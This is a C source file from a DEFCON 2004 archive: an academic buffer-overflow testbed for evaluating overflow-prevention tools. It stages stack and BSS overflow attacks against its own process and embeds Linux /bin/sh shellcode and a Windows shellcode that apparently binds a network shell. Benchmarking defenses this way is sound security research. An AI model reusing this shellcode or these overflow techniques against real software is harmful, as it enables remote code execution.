home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
DEFCON 12
/
DEFCON_12_CD-ROM_2004.iso
/
Silberman-Johnson
/
avtp.c
< prev
Wrap
C/C++ Source or Header
|
2004-07-09
|
30KB
|
889 lines
// Testbed.cpp : Defines the entry point for the console application.
//
// Testbed.cpp : Defines the entry point for the console application.
//
/*
* Dynamic testbed for twenty buffer overflow attack forms
*
* "A Comparison of Publicly Available Tools for Dynamic Buffer
* Overflow Prevention"
*
* Published at Network & Distributed System Security Symposium 2003
*
* Copyright 2003 John Wilander
* Dept. of Computer Science, Linkoping University, Sweden
* johwi@ida.liu.se
* http://www.ida.liu.se/~johwi
*
* This is a slightly old version of the code where the redirection of
* BSS pointers against parameters are missing (sorry). It should be
* fairly easy to add the code for overflow of pointers in the BSS
* segment, redirecting them towards either function pointer or longjmp
* buffer parameters. Just reuse the code from the same kind of attack
* against stack pointers.
*
* CONDITIONS OF USAGE: If you publish, distribute or sell work where
* you have used this testbed or parts of it to test, study, build or
* analyse software you should properly refer to our original paper
* from NDSS'03 and give acknowledgement to the writer of the testbed.
* This comment header must not be removed. Apart from these notes you
* can use it freely (the writer takes no responsibility of how you
* use it). Good luck!
*/
/**************************************************************************************************
*** Modified by Peter Silberman (psilberman@idefense.com) of iDefense for the ***
*** use in a presentation at Blackhat and Defcon Vegas 04 presentation and paper are called ***
*** "A Comparison Buffer Overflow Prevention Implementations & Weaknesses" ***
*** Modifications made were to allow the program to compile on both Windows and Linux systems, ***
*** as well as to add specific windows environment scenerios. ***
***************************************************************************************************/
//#define LINUX
#ifndef LINUX
#include <windows.h>
#endif
#include <stdio.h>
#include <signal.h>
#include <setjmp.h>
#include <stdlib.h>
#include <float.h>
#include <math.h>
#include <string.h>
#ifndef LINUX
void win32_heap_overflow(int choice);
void win32_seh_overflow(int choice);
void win32_ret_libc(int choice);
void win32_build_exploit_retlibc();
#endif
#ifdef LINUX
#define BUFSIZE 16
#define OVERFLOWSIZE 256
int base_pointer_offset;
long overflow_buffer[OVERFLOWSIZE];
char linux_sc[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* Implemented by Aleph One */
#endif
#ifndef LINUX
#define BUFSIZE 16
#define OVERFLOWSIZE 256
#define DEBUG 1
int base_pointer_offset;
long overflow_buffer[OVERFLOWSIZE];
unsigned char shellcode[] = "\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c"
"\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b\x40"
"\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78\x03\xd5\x8b\x4a\x18"
"\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84"
"\xc0\x74\x07\xc1\xcf\x0d\x03\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03"
"\xdd\x66\x8b\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c\x61"
"\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4\x08\x83\xc7\x04\x3b"
"\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce"
"\xd9\x09\xf5\xad\xa4\x1a\x70\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b"
"\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8"
"\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\x9d\xff"
"\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51"
"\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1"
"\xf8\x08\x50\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff"
"\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x33\xc0\x33"
"\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff"
"\x55\x18\x53\x56\xff\x55\x1c\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20"
"\x8b\xf0\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44\xfe"
"\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50"
"\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff"
"\x55\x10\xff\x77\x38\xff\x55\x28\xff\x55\x0c";
#endif
int main(int argc, char **argv);
/*****************************************************************/
/* Stack-based buffer overflow attacks */
/*****************************************************************/
void parameter_func_pointer(int choice, void (*stack_function_pointer)())
{
long *stack_pointer;
long stack_buffer[BUFSIZE];
char propolice_dummy[10];
int overflow;
/* Just a dummy pointer setup */
stack_pointer = &stack_buffer[1];
if ((choice == -4) && ((long)&choice > (long)&propolice_dummy))
{
/* First set up overflow_buffer with 'A's and a
new function pointer pointing to the shellcode */
overflow = (int)((long)&stack_function_pointer - (long)&stack_buffer);
memset(overflow_buffer, 'A', overflow);
#ifndef LINUX
overflow_buffer[overflow/4] = (long)&shellcode;
#else
overflow_buffer[overflow/4] = (long)&linux_sc;
#endif
/* Then overflow stack_buffer with overflow_buffer */
memcpy(stack_buffer, overflow_buffer, overflow+4);
/* Function call using the function pointer */
(void)(*stack_function_pointer)();
}
else if ((choice == -2) && ((long)&stack_pointer > (long)&propolice_dummy))
{
/* First set up overflow_buffer with the address of the
shellcode, a few 'A's and a pointer to the function pointer */
overflow = (int)((long)&stack_pointer - (long)&stack_buffer) + 4;
#ifndef LINUX
overflow_buffer[0] = (long)&shellcode;
#else
overflow_buffer[0] = (long)&linux_sc;
#endif
memset(overflow_buffer+1, 'A', overflow-8);
overflow_buffer[overflow/4-1] = (long)(&stack_function_pointer);
/* Then overflow stack_buffer with overflow_buffer */
memcpy(stack_buffer, overflow_buffer, overflow);
/* Overwritten data from stack_buffer is copied to where
the stack_pointer is pointing */
*stack_pointer = stack_buffer[0];
/* Function call using the function pointer */
(void)(*stack_function_pointer)();
}
return;
}
void vuln_parameter_function_ptr(int choice)
{
void (*stack_function_pointer)(void);
parameter_func_pointer(choice, stack_function_pointer);
return;
}
/*****************************************************************/
void parameter_longjmp_buf(int choice, jmp_buf stack_jmp_buffer)
{
#ifdef LINUX
long *stack_pointer;
long stack_buffer[BUFSIZE];
char propolice_dummy[10];
int overflow, i;
if ((choice == -3) && ((long)&stack_jmp_buffer[0].__jmpbuf[5] > (long)&propolice_dummy))
{
/* First set up overflow_buffer with copies of address to
stack_jmp_buffer's argument pointer, and a fake jmp_buf
containing a new program counter pointing to the shellcode */
overflow = (int)((long)&stack_jmp_buffer[0].__jmpbuf[5] - (long)&stack_buffer);
for(i=0; i<overflow/4; i++)
overflow_buffer[i] = (long)stack_jmp_buffer;
for (i=0; i<5; i++)
overflow_buffer[overflow/4-5+i] = (long)stack_jmp_buffer[0].__jmpbuf[i];
overflow_buffer[overflow/4] = (long)&linux_sc;
/* Then overflow stack_buffer with overflow_buffer */
memcpy(stack_buffer, overflow_buffer, overflow+4);
}
else if ((choice == -1) &&
((long)&stack_pointer > (long)&propolice_dummy)) {
/* First set up overflow_buffer with the address of the
shellcode, a few 'A's and a pointer to the program
counter in stack_jmp_buffer*/
overflow = (int)((long)&stack_pointer - (long)&stack_buffer) + 4;
overflow_buffer[0] = (long)&linux_sc;
memset(overflow_buffer+1, 'A', overflow-8);
overflow_buffer[overflow/4-1] = (long)&stack_jmp_buffer[0].__jmpbuf[5];
/* Then overflow stack_buffer with overflow_buffer */
memcpy(stack_buffer, overflow_buffer, overflow);
/* Overwritten data from stack_buffer is copied to where
the stack_pointer is pointing */
*stack_pointer = stack_buffer[0];
}
else printf("Attack form not possible\n");
longjmp(stack_jmp_buffer, 1);
#else
printf("%d Is not a windows enabled feature\n", choice);
#endif
}
void vuln_parameter_longjmp_buf(int choice) {
jmp_buf stack_jmp_buffer;
int retval = setjmp(stack_jmp_buffer);
if(retval != 0)
{
printf("Longjmp buffer attack failed.\n");
return; }
parameter_longjmp_buf(choice, stack_jmp_buffer);
return;
}
/*****************************************************************/
void vuln_stack_return_addr(int choice) { /* Attack forms 1(a) and 3(a) */
long *stack_pointer;
long stack_buffer[BUFSIZE];
char propolice_dummy[10];
int overflow;
/* Just a dummy pointer setup */
stack_pointer = &stack_buffer[1];
if ((choice == 1) && ((long)&choice > (long)&propolice_dummy)) {
/* First set up overflow_buffer with 'A's and a new return address */
overflow = (int)((long)&choice - (long)&stack_buffer);
memset(overflow_buffer, 'A', overflow-4);
#ifndef LINUX
overflow_buffer[overflow/4-1] = (long)&shellcode;
#else
overflow_buffer[overflow/4-1] = (long)&linux_sc;
#endif
/* Then overflow stack_buffer with overflow_buffer */
memcpy(stack_buffer, overflow_buffer, overflow); }
else if((choice == 16) && ((long)&choice > (long)&propolice_dummy))
{
/* First set up overflow_buffer with 'A's and a new return address */
overflow = (int)((long)&choice - (long)&stack_buffer);
memset(overflow_buffer, 'A', overflow-4);
#ifndef LINUX
overflow_buffer[overflow/4-1] = (long)&shellcode;
#else
overflow_buffer[overflow/4-1] = (long)&linux_sc;
#endif
/* Then overflow stack_buffer with overflow_buffer */
memcpy(stack_buffer, overflow_buffer, overflow);
}
else if ((choice == 7) &&
((long)&stack_pointer > (long)&propolice_dummy)) {
/* First set up overflow_buffer with the address of the
shellcode, a few 'A's and a pointer to the return address */
overflow = (int)((long)&stack_pointer - (long)&stack_buffer) + 4;
#ifndef LINUX
overflow_buffer[0] = (long)&shellcode;
#else
overflow_buffer[0] = (long)&linux_sc;
#endif
memset(overflow_buffer+1, 'A', overflow-8);
overflow_buffer[overflow/4-1] = (long)(&choice-1);
/* Then overflow stack_buffer with overflow_buffer */
memcpy(stack_buffer, overflow_buffer, overflow);
/* Overwritten data from stack_buffer is copied to where
the stack_pointer is pointing */
*stack_pointer = stack_buffer[0];
}
else printf("Attack form not possible\n");
return;
}
/*****************************************************************/
void vuln_stack_base_ptr(int choice)
{
/* Attack forms 1(b) and 3(b) */
#ifdef LINUX
long *stack_pointer;
long stack_buffer[BUFSIZE];
char propolice_dummy[10];
int overflow;
/* Just a dummy pointer setup */
stack_pointer = &stack_buffer[1];
if ((choice == 2) && ((long)&choice > (long)&propolice_dummy))
{
/* First set up overflow_buffer with a fake stack frame
consisting of a base pointer and a return address
pointing to the shellcode, a few 'A's and a new
base pointer pointing back at the fake stack frame */
overflow = (int)((long)&choice - (long)&stack_buffer)-base_pointer_offset;
/* Copy base pointer */
overflow_buffer[0] = (long)(&choice-1-(base_pointer_offset/4));
/* Fake return address */
overflow_buffer[1] = (long)&linux_sc;
memset(overflow_buffer+2, 'A', overflow-4);
overflow_buffer[overflow/4-1] = (long)&stack_buffer[0];
/* Then overflow stack_buffer with overflow_buffer */
memcpy(stack_buffer, overflow_buffer, overflow);
}
else if ((choice == 8) && ((long)&stack_pointer > (long)&propolice_dummy)) {
/* First set up overflow_buffer with a fake stack frame
consisting of a base pointer and a return address
pointing to the shellcode, a few 'A's and a pointer
to the old base pointer */
overflow = (int)((long)&stack_pointer - (long)&stack_buffer) + 4;
overflow_buffer[0] = (long)&stack_buffer[1];
/* Copy base pointer */
overflow_buffer[1] = (long)(&choice-1-(base_pointer_offset/4));
/* Fake return address */
overflow_buffer[2] = (long)&linux_sc;
memset(overflow_buffer+3, 'A', overflow-4*(3+1));
/* Old base pointer */
overflow_buffer[overflow/4-1] = (long)(&choice-1-(base_pointer_offset/4));
/* Then overflow stack_buffer with overflow_buffer */
/* Now stack_pointer points to the old base pointer */
memcpy(stack_buffer, overflow_buffer, overflow);
/* Overwritten data from stack_buffer is copied to where
the stack_pointer is pointing */
*stack_pointer = stack_buffer[0];
}
else printf("Attack form not possible\n");
return;
#else
printf("%d Is not a windows enabled feature\n", choice);
#endif
}
/*****************************************************************/
void vuln_stack_function_ptr(int choice) { /* Attack forms 1(c) and 3(c) */
void (*stack_function_pointer)(void);
long *stack_pointer;
long stack_buffer[BUFSIZE];
char propolice_dummy[10];
int overflow;
if ((choice == 3) && ((long)&stack_function_pointer > (long)&propolice_dummy))
{
/* First set up overflow_buffer with 'A's and a
new function pointer pointing to the shellcode */
#ifdef LINUX
overflow = (int)((long)&stack_function_pointer - (long)&stack_buffer);
#else
overflow = (int)((long)&stack_buffer - (long)&stack_function_pointer);
#endif
memset(overflow_buffer, 'A', overflow );
#ifndef LINUX
//overflow_buffer[overflow+12] = (long)&shellcode;
//Nulls makes this unreliable
#else
overflow_buffer[overflow/4] = (long)&linux_sc;
#endif
#ifdef LINUX
/* Then overflow stack_buffer with overflow_buffer */
memcpy(stack_buffer, overflow_buffer, overflow+4);
#else
/* Then overflow stack_buffer with overflow_buffer */
memcpy(propolice_dummy, overflow_buffer, overflow+4);//The null address messes with this so we have to cheat
*(long*)&stack_function_pointer = (long)&shellcode;
#endif
/* Function call using the function pointer */
(void)(*stack_function_pointer)();
}
else if ((choice == 9) && ((long)&stack_pointer > (long)&propolice_dummy))
{
/* First set up overflow_buffer with the address of the
shellcode, a few 'A's and a pointer to the function pointer */
overflow = (int)((long)&stack_pointer - (long)&stack_buffer) + 4;
#ifndef LINUX
overflow_buffer[0] = (long)&shellcode;
#else
overflow_buffer[0] = (long)&linux_sc;
#endif
memset(overflow_buffer+1, 'A', overflow-8);
overflow_buffer[overflow/4-1] = (long)(&stack_function_pointer);
/* Then overflow stack_buffer with overflow_buffer */
memcpy(stack_buffer, overflow_buffer, overflow);
/* Overwritten data from stack_buffer is copied to where
the stack_pointer is pointing */
*stack_pointer = stack_buffer[0];
/* Function call using the function pointer */
(void)(*stack_function_pointer)();
}
else
printf("Attack form not possible\n");
return;
}
/*****************************************************************/
void vuln_stack_longjmp_buf(int choice)
{ /* Attack forms 1(d) and 3(d) */
#ifdef LINUX
jmp_buf stack_jmp_buffer;
long *stack_pointer;
long stack_buffer[BUFSIZE];
char propolice_dummy[10];
int overflow, i;
if (setjmp(stack_jmp_buffer) != 0) {
printf("Longjmp buffer attack failed.\n");
return; }
if ((choice == 4) && ((long)&stack_jmp_buffer[0].__jmpbuf[5] > (long)&propolice_dummy))
{
/* First set up overflow_buffer with 'A's and a fake jmp_buf
containing a new program counter pointing to the shellcode */
overflow = (int)((long)&stack_jmp_buffer[0].__jmpbuf[5] - (long)&stack_buffer);
memset(overflow_buffer, 'A', overflow-5*4);
/* Copy BX, SI, DI, BP and SP from stack_jmp_buffer */
overflow_buffer[overflow/4-1] = (long)&stack_jmp_buffer[0].__jmpbuf[5];
overflow_buffer[overflow/4] = (long)&linux_sc;
/* Then overflow stack_buffer with overflow_buffer */
memcpy(stack_buffer, overflow_buffer, overflow+4);
}
else if ((choice == 10) && ((long)&stack_pointer > (long)&propolice_dummy)) {
/* First set up overflow_buffer with the address of the
shellcode, a few 'A's and a pointer to the program
counter in stack_jmp_buffer*/
overflow = (int)((long)&stack_pointer - (long)&stack_buffer) + 4;
overflow_buffer[0] = (long)&linux_sc;
memset(overflow_buffer+1, 'A', overflow-8);
overflow_buffer[overflow/4-1] = (long)&stack_jmp_buffer[0].__jmpbuf[5];
/* Then overflow stack_buffer with overflow_buffer */
memcpy(stack_buffer, overflow_buffer, overflow);
/* Overwritten data from stack_buffer is copied to where
the stack_pointer is pointing */
*stack_pointer = stack_buffer[0];
}
else printf("Attack form not possible\n");
longjmp(stack_jmp_buffer, 1);
#else
printf("%d Is not a windows enabled feature\n", choice);
#endif
}
/*****************************************************************/
/* BSS-based buffer overflow attacks */
/*****************************************************************/
void vuln_bss_return_addr(int choice)
{ /* Attack form 4(a)*/
#ifdef LINUX
static char propolice_dummy_2[10];
static long bss_buffer[BUFSIZE];
static long *bss_pointer;
char propolice_dummy_1[10];
int overflow;
if ((choice == 11) && ((long)&bss_pointer > (long)&propolice_dummy_2)) {
/* First set up overflow_buffer with the address of the
shellcode, a few 'A's and a pointer to the return address */
overflow = (int)((long)&bss_pointer - (long)&bss_buffer) + 4;
overflow_buffer[0] = (long)&linux_sc;
memset(overflow_buffer+1, 'A', overflow-8);
overflow_buffer[overflow/4-1] = (long)(&choice-1);
/* Then overflow bss_buffer with overflow_buffer */
memcpy(bss_buffer, overflow_buffer, overflow);
/* Overwritten data from bss_buffer is copied to where
the bss_pointer is pointing */
*bss_pointer = bss_buffer[0];
}
else printf("Attack form not possible\n");
return;
#else
printf("%d Is not a windows enabled feature\n", choice);
#endif
}
/*****************************************************************/
void vuln_bss_base_ptr(int choice)
{
#ifdef LINUX
/* Attack form 4(b)*/
static char propolice_dummy_2[10];
static long bss_buffer[BUFSIZE];
static long *bss_pointer;
char propolice_dummy_1[10];
int overflow;
if ((choice == 12) && ((long)&bss_pointer > (long)&propolice_dummy_2))
{
/* First set up overflow_buffer with a fake stack frame
consisting of a base pointer and a return address
pointing to the shellcode, a few 'A's and a pointer
to the old base pointer */
overflow = (int)((long)&bss_pointer - (long)&bss_buffer) + 4;
overflow_buffer[0] = (long)&bss_buffer[1];
/* Copy base pointer */
overflow_buffer[1] = (long)(&choice-1-(base_pointer_offset/4));
/* Fake return address */
overflow_buffer[2] = (long)&linux_sc;
memset(overflow_buffer+3, 'A', overflow-4*(3+1));
/* Old base pointer */
overflow_buffer[overflow/4-1] = (long)(&choice-1-(base_pointer_offset/4));
/* Then overflow bss_buffer with overflow_buffer */
/* Now bss_pointer points to the old base pointer */
memcpy(bss_buffer, overflow_buffer, overflow);
/* Overwritten data from bss_buffer is copied to where
the bss_pointer is pointing */
*bss_pointer = bss_buffer[0];
}
else printf("Attack form not possible\n");
return;
#else
printf("%d Is not a windows enabled feature\n", choice);
#endif
}
/*****************************************************************/
void vuln_bss_function_ptr(int choice)
{
#ifdef LINUX
/* Attack forms 2(a) and 4(c) */
static char propolice_dummy_2[10];
static long bss_buffer[BUFSIZE];
static long *bss_pointer;
static void (*bss_function_pointer)(void);
char propolice_dummy_1[10];
int overflow;
printf("bss_pointer(%p), propolice_dummy_2(%p)",bss_pointer,propolice_dummy_2);
if ((choice == 5) && ((long)&bss_function_pointer > (long)&propolice_dummy_2))
{
/* First set up overflow_buffer with 'A's and a
new function pointer pointing to the shellcode */
overflow = (int)((long)&bss_function_pointer - (long)&bss_buffer);
memset(overflow_buffer, 'A', overflow);
overflow_buffer[overflow/4] = (long)&linux_sc;
/* Then overflow bss_buffer with overflow_buffer */
memcpy(bss_buffer, overflow_buffer, overflow+4);
/* Function call using the function pointer */
(void)(*bss_function_pointer)();
}
else if ((choice == 13) &&
((long)&bss_pointer > (long)&propolice_dummy_2)) {
/* First set up overflow_buffer with the address of the
shellcode, a few 'A's and a pointer to the function pointer */
overflow = (int)((long)&bss_pointer - (long)&bss_buffer) + 4;
overflow_buffer[0] = (long)&linux_sc;
memset(overflow_buffer+1, 'A', overflow-8);
overflow_buffer[overflow/4-1] = (long)(&bss_function_pointer);
/* Then overflow bss_buffer with overflow_buffer */
memcpy(bss_buffer, overflow_buffer, overflow);
/* Overwritten data from bss_buffer is copied to where
the bss_pointer is pointing */
*bss_pointer = bss_buffer[0];
/* Function call using the function pointer */
(void)(*bss_function_pointer)();
}
else printf("Attack form not possible\n");
return;
#else
printf("%d Is not a windows enabled feature\n", choice);
#endif
}
/*****************************************************************/
void vuln_bss_longjmp_buf(int choice)
{
#ifdef LINUX
/* Attack forms 2(b) and 4(d) */
static char propolice_dummy_2[10];
static long bss_buffer[BUFSIZE];
static long *bss_pointer;
static jmp_buf bss_jmp_buffer;
char propolice_dummy_1[10];
int overflow, i;
if (setjmp(bss_jmp_buffer) != 0) {
printf("Longjmp buffer attack failed.\n");
return; }
if ((choice == 6) &&
((long)&bss_jmp_buffer[0].__jmpbuf[5] > (long)&propolice_dummy_2)) {
/* First set up overflow_buffer with 'A's and a fake jmp_buf
containing a new program counter pointing to the shellcode */
overflow = (int)((long)&bss_jmp_buffer[0].__jmpbuf[5]
- (long)&bss_buffer);
memset(overflow_buffer, 'A', overflow-5*4);
/* Copy BX, SI, DI, BP and SP from bss_jmp_buffer */
for (i=0; i<5; i++)
overflow_buffer[overflow/4-5+i] = (long)bss_jmp_buffer[0].__jmpbuf[i];
overflow_buffer[overflow/4] = (long)&linux_sc;
/* Then overflow bss_buffer with overflow_buffer */
memcpy(bss_buffer, overflow_buffer, overflow+4);
}
else if ((choice == 14) &&
((long)&bss_pointer > (long)&propolice_dummy_2)) {
/* First set up overflow_buffer with the address of the
shellcode, a few 'A's and a pointer to the program
counter in bss_jmp_buffer*/
overflow = (int)((long)&bss_pointer - (long)&bss_buffer) + 4;
overflow_buffer[0] = (long)&linux_sc;
memset(overflow_buffer+1, 'A', overflow-8);
overflow_buffer[overflow/4-1] = (long)&bss_jmp_buffer[0].__jmpbuf[5];
/* Then overflow bss_buffer with overflow_buffer */
memcpy(bss_buffer, overflow_buffer, overflow);
/* Overwritten data from bss_buffer is copied to where
the bss_pointer is pointing */
*bss_pointer = bss_buffer[0];
}
else printf("Attack form not possible\n");
longjmp(bss_jmp_buffer, 1);
#else
printf("%d Is not a windows enabled feature\n", choice);
#endif
}
/*****************************************************************/
/* main() */
/*****************************************************************/
int main (int argc, char **argv) {
int choice;
if (argc < 2 || atoi(argv[1]) < -4 || atoi(argv[1]) > 19) {
fprintf(stderr, "\nUsage: %s <int> <optional base pointer offset>\n",
argv[0]);
fprintf(stderr, "\nBuffer overflow on stack all the way to the target\n");
fprintf(stderr, "-4 = Target: Parameter function pointer\n");
fprintf(stderr, "-3 = Target: Parameter longjmp buffer (Not Supported by Win32)\n");
fprintf(stderr, " 1 = Target: Return address\n");
fprintf(stderr, " 2 = Target: Old base pointer (Not Supported by Win32)\n");
fprintf(stderr, " 3 = Target: Function pointer\n");
fprintf(stderr, " 4 = Target: Longjmp buffer (Not Supported by Win32)\n");
fprintf(stderr, "\nBuffer overflow on heap/BSS all the way to the target\n");
fprintf(stderr, " 5 = Target: Function pointer\n");
fprintf(stderr, " 6 = Target: Longjmp buffer (Not Supported by Win32)\n");
fprintf(stderr, "\nBuffer overflow of pointer on stack and then pointing to target\n");
fprintf(stderr, "-2 = Target: Parameter function pointer\n");
fprintf(stderr, "-1 = Target: Parameter longjmp buffer (Not Supported by Win32)\n");
fprintf(stderr, " 7 = Target: Return address\n");
fprintf(stderr, " 8 = Target: Old base pointer (Not Supported by Win32)\n");
fprintf(stderr, " 9 = Target: Function pointer\n");
fprintf(stderr, "10 = Target: Longjmp buffer (Not Supported by Win32)\n");
fprintf(stderr, "\nBuffer overflow of pointer on heap/BSS and then pointing to target\n");
fprintf(stderr, "11 = Target: Return address\n");
fprintf(stderr, "12 = Target: Old base pointer (Not Supported by Win32)\n");
fprintf(stderr, "13 = Target: Function pointer (Not Supported by Win32)\n");
fprintf(stderr, "14 = Target: Longjmp buffer (Not Supported by Win32)\n");
fprintf(stderr, "Optional base pointer offset = number of bytes inbetween return address and base pointer on stack (used with canary values).\n\n");
return -1; }
/* We add the 4 normal bytes that differ between the address
to the return address and the old base pointer */
if(argc > 2 && atoi(argv[2]) > 0) {
base_pointer_offset = atoi(argv[2]) + 4;
printf("Using base pointer offset = %i\n", atoi(argv[2])); }
else {
base_pointer_offset = 4;
printf("Using base pointer offset = 0 (normal)\n"); }
choice = atoi(argv[1]);
switch(choice) {
case -4:
vuln_parameter_function_ptr(choice);
printf("Attack prevented.\n");
break;
#ifdef LINUX
case -3:
vuln_parameter_longjmp_buf(choice);
printf("Attack prevented.\n");
break;
#endif
case -2:
vuln_parameter_function_ptr(choice);
printf("Attack prevented.\n");
break;
#ifdef LINUX
case -1:
vuln_parameter_longjmp_buf(choice);
printf("Attack prevented.\n");
break;
#endif
case 1:
vuln_stack_return_addr(choice);
printf("Attack prevented.\n");
break;
case 2:
vuln_stack_base_ptr(choice);
printf("Attack prevented.\n");
break;
case 3:
vuln_stack_function_ptr(choice);
printf("Attack prevented.\n");
break;
#ifdef LINUX
case 4:
vuln_stack_longjmp_buf(choice);
printf("Attack prevented.\n");
break;
case 5:
vuln_bss_function_ptr(choice);
printf("Attack prevented.\n");
break;
case 6:
vuln_bss_longjmp_buf(choice);
printf("Attack prevented.\n");
break;
#endif
case 7:
vuln_stack_return_addr(choice);
printf("Attack prevented.\n");
break;
case 8:
vuln_stack_base_ptr(choice);
printf("Attack prevented.\n");
break;
case 9:
vuln_stack_function_ptr(choice);
printf("Attack prevented.\n");
break;
#ifdef LINUX
case 10:
vuln_stack_longjmp_buf(choice);
printf("Attack prevented.\n");
break;
case 11:
vuln_bss_return_addr(choice);
printf("Attack prevented.\n");
break;
case 12:
vuln_bss_base_ptr(choice);
printf("Attack prevented.\n");
break;
case 13:
vuln_bss_function_ptr(choice);
printf("Attack prevented.\n");
break;
case 14:
vuln_bss_longjmp_buf(choice);
printf("Attack prevented.\n");
break;
#endif
default:
printf("%d is not a valid selection for the OS you are on.\n", choice);
break; }
return 0;
}